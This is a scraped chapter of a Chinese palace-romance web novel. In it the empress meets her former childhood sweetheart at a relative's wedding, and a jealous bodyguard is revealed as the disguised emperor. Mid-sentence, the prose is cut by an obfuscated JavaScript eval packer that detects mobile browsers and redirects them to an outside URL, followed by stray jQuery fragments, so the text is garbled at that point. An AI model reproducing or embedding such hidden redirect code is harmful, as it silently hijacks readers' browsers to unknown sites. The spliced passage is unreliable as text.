26. 第 26 章

作品:《再嫁为后

    三房的院落与自家隔两条巷子,车马过去不过一盏茶的功夫。


    烈阳在上,三房为招待今日上门的帖客,在家门口的大长街上搭起凉棚,家仆与婢子穿梭其间,满脸喜庆地招呼着人。


    三房官职不高,下帖宴请的不过是族中亲眷和官场上的人情。


    虽有皇后娘娘亲临,但也不好太过明目张胆地讨好,有心之人不到,但贺礼必得送达。


    三房婶娘自晨起便盛装等在厅间,眼观六路耳听八方,与各家上门的女眷过场面,又吩咐下人仔细伺候贵客。


    上晌午,家下花重金请来的花腔戏也咿咿呀呀地开场了。


    得闲下来,门上的跑着回禀,说皇后娘娘的车驾快到巷子口了。


    三房的人立时严阵以待,收拾衣衫整理鬓发,一等内监高喏,神情恭敬地跪下众呼给皇后娘娘请安。


    崔雪朝自正门阶下坦坦而过,待得坐定,吩咐众人起吧。


    三房婶娘拘谨之下透着三分讨好,“娘娘,迎亲典须得午后,家下请了望京有名的戏班子,请您点一出吧。”


    吉利日子,自然要点郎情妾意幸福美满的,崔雪朝翻了下,择了一台《青衫婿》。主要讲小富之家一对儿女阴差阳错结为夫妻婚后甜蜜终老的故事。


    戏班子得了令,不一会儿各色角儿粉墨登场。


    “却道,好男儿一袭青衫,貌如玉.....”


    因是人家嫁女的宴,不好喧宾夺主,崔雪朝点过一出戏后笑着跟三房婶娘说不必拘谨,“今日有客,三婶不必关照我,若有忙事,自去应对吧。”


    得此话,三婶蹲个礼,下了高台直奔后院闺女的绣房。


    亲生的闺女要出门,从往后就是别人家的妇,当娘的还有好些贴己话要说。


    那道匆匆奔去的身影落在崔雪朝眼底,不由想到来日自己出阁。


    戏台当啷一声,原是前幕唱完,娇娥女儿上台自陈。


    “我本是青城山下一女子...可怜我~~母丧太早....幼有邻家哥哥为伴...”


    啊,原是‘郎骑竹马来绕床弄青梅’的一段好缘。


    “给娘娘请安。”


    崔雪朝露出笑意,“您来了。”


    辜夫人身边一高一矮,高的是见过的辜云缨,矮的看模样不及腿高,约莫五六岁,眼睛圆又亮,肉嘟嘟的小脸蛋挂着暑热的红,真是天真可爱。


    “这是?”


    辜夫人把那孩子往前带了下:“月儿,来给皇后娘娘拜安。”


    可爱的小姑娘软乎乎地唤了声皇后娘娘好。


    辜夫人:“这就是我上回跟娘娘提过的那孩子。”


    崔雪朝反应过来,回头看一眼万姑姑,万姑姑从袖间掏出个荷包送到小姑娘手里,“明月姑娘,这是娘娘送给你的见面礼。”


    孩子睁着大眼睛看向辜夫人,见她点头,腼腆地接下,这回声大了些,“谢谢娘娘。”


    辜夫人领着两个孩子坐在下首的椅上,“郡主的身子弱,连带着这孩子在娘胎时没养好,五岁了还跟小猫崽似的。前些时候戏荷塘里的鱼时不小心中了暑气,今日好了,一听说我和云缨要出门,磨着非要跟来。”


    嗔怪的语气,但辜夫人眼里的关爱做不到假,见小姑娘眼巴巴盯上了长案摆的荔枝,伸手慢慢剥着。


    这时节荔枝不是稀罕物,尤其对于崔家来说。


    剑南的产物顺着修缮好的江道一路溯上,到大渡口转运冰车,到望京时那外壳刚好发软成熟。


    辜家与崔家交情深广,两家大宗在朝堂上互为臂膀,私底下姻亲盘起来也成树脉。


    辜夫人:“三房的莲清非说三房只他们兄妹两个,怕赵家那将门虎势,婚后待娇娘不好。缠了云生好些时候,说娇娘小时候也唤云生一声阿兄,今日怎么也得做半个娘家阿哥来门上撑腰。”


    “左右云生今日休沐,不好白吃你三婶家的好席面。”


    闻弦知意,辜夫人说这一大团,是在给她打预防。


    午后赵家上门接亲,崔雪朝必然要去后院一趟,迟早得跟辜云生碰面,届时两相惹出什么眼神官司,落到有心人眼里只怕不妙。


    “莲清自己文武不行,劳云生阿兄受累了。”


    她接应一句。


    辜夫人喂过孙女荔枝,擦去孩子唇边的汁水,说应该的。


    彼此忖着合适再没开口,抬眼望向高台,见那姑娘一张红绿的面上尽是泪水,原是竹马另娶弃之不顾了。


    怎么就点了这么一出?


    崔雪朝抚抚鬓发,要去更衣。


    下了高台,那泪人凄婉的唱腔听不真切,长长地舒口气。


    “娘娘可是不舒服?”


    突然炸响在耳边的一句话,吓得人心头狂跳,愣着眼撇过头,是今日换了贺功的侍卫,叫袁什么来着?


    这人是何时站在自己身后的?


    “你说话前怎么不出声?”


    侍卫如墨浓沉的眼死死盯着她的面容,“娘娘是在心虚吗?”


    “放肆!”


    她甚少有疾言厉色的时候,淡如清荷的人瞬间恣意成一株娇艳的牡丹,越发让人挪不开眼。


    侍卫不甘地憋口气,屈膝半跪在地:“皇后娘娘恕罪,是在下一时失言。”


    暗恼的眼落在她高翘的凤头履上,最上面的那颗明珠在她裙裾褶上若隐若现,与那唱着被负了心的女子掩面而泣时竟有几分隐喻地相通。


    “娘娘莫气,这侍卫言行冒犯,待今日卸值便黜免了他的官,交由贺大统领处置。”


    崔雪朝抿唇,“今日若敢再犯,仔细你的脑袋。”


    能进禁卫的人皆有来头,且此人从国姓袁,说不得是河东哪一支的小辈。


    冷言警告过,再不多看,仆从领着贵客去了后院歇息,没一会儿端上精致的一桌饭食。


    只是夏燥没什么胃口,随意扒了几口分给随伺的阿屏等人。


    三房的院落并不宽敞,辟出来的客居胜在干净整洁。窗外紧邻一口湖塘,树梢蝉鸣阵阵还有呱呱蟆叫,吵得人心火大,硬闭着眼歇了两刻钟。


    前院已有炸鞭的响声,想来是快到赵家迎亲的吉时。


    出门沿着石径往前,才走没多久,径口突然绕出一道清隽的身影,崔雪朝怔然停住,才要开口,骤闻唰的一声寒声,那高大魁梧的禁卫竟然抽出雪亮的横刀大步跨前,将崔雪朝严严实实地堵在身后,厉声斥道:“来者何人?皇后娘娘在此,还不速速退下!!”


    这一吼,真有山崩地裂的阵仗,崔雪朝只觉耳中嗡鸣,吃惊地仰头瞪着这个一心护主的侍卫。


    未免太小题大做了吧?


    再看一侧,万姑姑竟也是凛然,迷茫起来,难道又是她太不端着架子了?


    “尊下莫惊,在下乃是辜家大公子,并非歹人。”前方传来一道温文尔雅的声线。


    “什么辜家娘家,你说不是歹人......”


    两相对比,这禁卫好蛮横!


    “你先退下。”


    崔雪朝道。


    禁卫话音顿住,却没立刻退开,反倒脚步拧在石板上搓了好几下,最后闷哼着闪至一旁。


    崔雪朝斜了禁卫一眼,可惜这人生得恁高,收刀在鞘依旧挎着刀把警惕怒视不远处清风悦和的官门子弟。


    底下人无状,当主子的脸面不好看。


    有外人在,暂未处置。


    崔雪朝赔罪轻笑:“禁卫太过小心,还请云生阿兄莫要多怪。”


    一声云生阿兄,便是泾渭分明的悬殊。


    辜云生道职责所在。


    而后沉默,竟两相无话,彼此睁着眼对看起来。


    阔别太久,辜云生只念着见一面,却没想好要说什么。


    思及二人最后一次见面是在八年前。


    她站在辜家门外,恨他恨得咬牙切齿,骂他懦弱骂他负心汉不得好死,世间最恶毒最难听的话出自她口,他辩无可辩,连伸手为她擦拭眼泪的余地都没有,只能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466134|168660||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看她留下决绝的背影,从此消失在他的人生中。


    最后有关于她的消息是自己大婚,他的妻主见他站了半宿不肯上榻,语调似蛇信滑过,“夫君放心,你的小青梅已经安然离京。”


    来前母亲耳提面命说她如今身份不同,为了辜家,万不可与她见面!


    阿娘说她现在过得很好,让他释怀吧。


    又是为了辜家,他牺牲得难道还不够吗?


    更何况,只是隔着十几步见一面而已。


    崔雪朝看看他如今模样,与记忆中的昂扬太不一样。他还是爱穿青竹色的长衫,却不挺立了,有种枯槁的颓态,似乎郁结于心至今难以开怀。


    嗳,年轻的时候,谁还没点经历?


    她跟辜云生就像戏文中那样,是自小一块长大的青梅竹马,两家大人默契地认同了二人的亲事。


    第一次与男子牵手是他。


    第一次与男子秉烛夜游七夕,是他。


    第一次怦然心动,颊容绯红,是因为他。


    但第一次撕心裂肺,也给了他。


    他其实有他的可怜,但太年轻的自己眼里只看清背叛。


    所以她恨了他好久,有一次做梦梦到他,一刀子狠狠地扎进他的心肠,非要看那是黑的白的。


    后来母亲告诉她,当年营救父亲辜家出过力,宫里的端秀公主也曾在末帝面前为父亲求过情。


    于是,那点意难平就抹干净了。


    轰轰烈烈的爱恨走一场,崔雪朝再见他时,已经能平静地唤他阿兄,平静地笑着。


    看他凝望自己,眼眸一点点浮起泪意,可以心平气和地说:“月儿和你小时候长得一模一样。”


    盈满眼眶的泪如雨下,辜云生哽塞难言,狼狈地转过身落荒而逃。


    “哎呀,好没规矩的人!”


    万姑姑气愤道,眼角余光观察着一旁的高大侍卫,觉得那儿站的不是个人,像座闷沉的火山。


    “就是就是,娘娘又没说什么难听的话。”


    不知内情的阿屏赞同道。


    崔雪朝怔了一下,很快回过神。


    她出生在一场雪后朝阳新起,那时两人约定,如将来有女,便起名‘月儿’。


    奈何她是果决的个性,放下的人与事任其沉入记忆深处,不究最好。辜云生是她翻过的一页书,搁在桌脚不必复阅。


    烊烊叹口气,一错眸,睨见那护卫又用那种辨不清是狠辣还是伤感的眼神在看自己,气不打一处来:“你瞪着本宫作什么?”


    她还敢冲自己发脾气?!


    私见外男,她还如此理直气壮地朝别人撒气?怎么?是方才自己退太慢,耽搁了她看野男人了吧?!


    藏起行迹,一天伏低做小的侍卫乾元帝绷着牙,硬是护送她去了后院,护送她言笑晏晏地交际于女眷之间,护送她给族妹撑腰像模像样地规训赵家二公子。


    回归喜腊院


    袁望本看在她今日在外吃得不好歇也没歇好的面上,暂时不与她理论。


    岂料区区禁卫犯了几处小错,竟能惹得皇后之尊记到现在?所以还是因为自己屡次因那辜什么的玩意开口,惹了她不如意了吧?


    “本宫让你跪下,你耳聋了吗!”


    就见那高个头的禁卫不仅耳聋,而且突然发了狂!单手卸了腰上横刀甩到地上,发出当啷一声巨响,三两下抽解兜甲扔在廊下,长腿跨进门槛,肌健的胳膊慢且狠地阖上门扇。


    “你......”


    眼看万姑姑等人袖手旁观,浮在心头许久的疑云终于现出原形,愣怔地看着他逼近到自己身前,不由自主地往后避开。


    只一步退,他右手猛地探前捞上崔雪朝的腰,不由分说地掰着她跨上他的。刹那失衡,她下意识抱紧他后颈,回过神来想退,扶在腿间的大掌惩罚地按住。


    “用你的手。”


    他狠厉的眼眸攫住她的不安,“取下朕面上的罩甲。好好看看,现在站在你面前的究竟是谁!”